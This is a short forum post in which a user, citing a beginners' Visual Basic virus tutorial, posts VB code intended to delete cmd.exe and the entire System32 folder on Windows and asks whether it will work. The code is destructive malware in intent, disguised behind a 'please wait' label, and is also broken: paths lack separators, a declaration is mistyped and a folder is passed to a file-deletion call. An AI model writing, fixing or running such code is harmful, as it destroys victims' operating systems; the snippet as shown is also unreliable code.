Does This Work? - Programmers Heaven

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories

Does This Work?

Hi I Recently read The Vb Virus for Begginners Only And Came up With An "Extra" Heres the Code And Will It Work to Delete Both CMD And System32 Files

[color=Blue][size=5]Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:WINDOWSsystem32cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
im targetfile As String
targetfile = "C:WINDOWSsystem32"
Kill targetfile
Label1.Caption = " Deleting System32.exe...please wait "
Timer1.Enabled = True

End Sub

Private Sub Form_Activate()
Timer1.Enabled = False

End Sub

Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub[/size][/color]

Thanks
Sign In or Register to comment.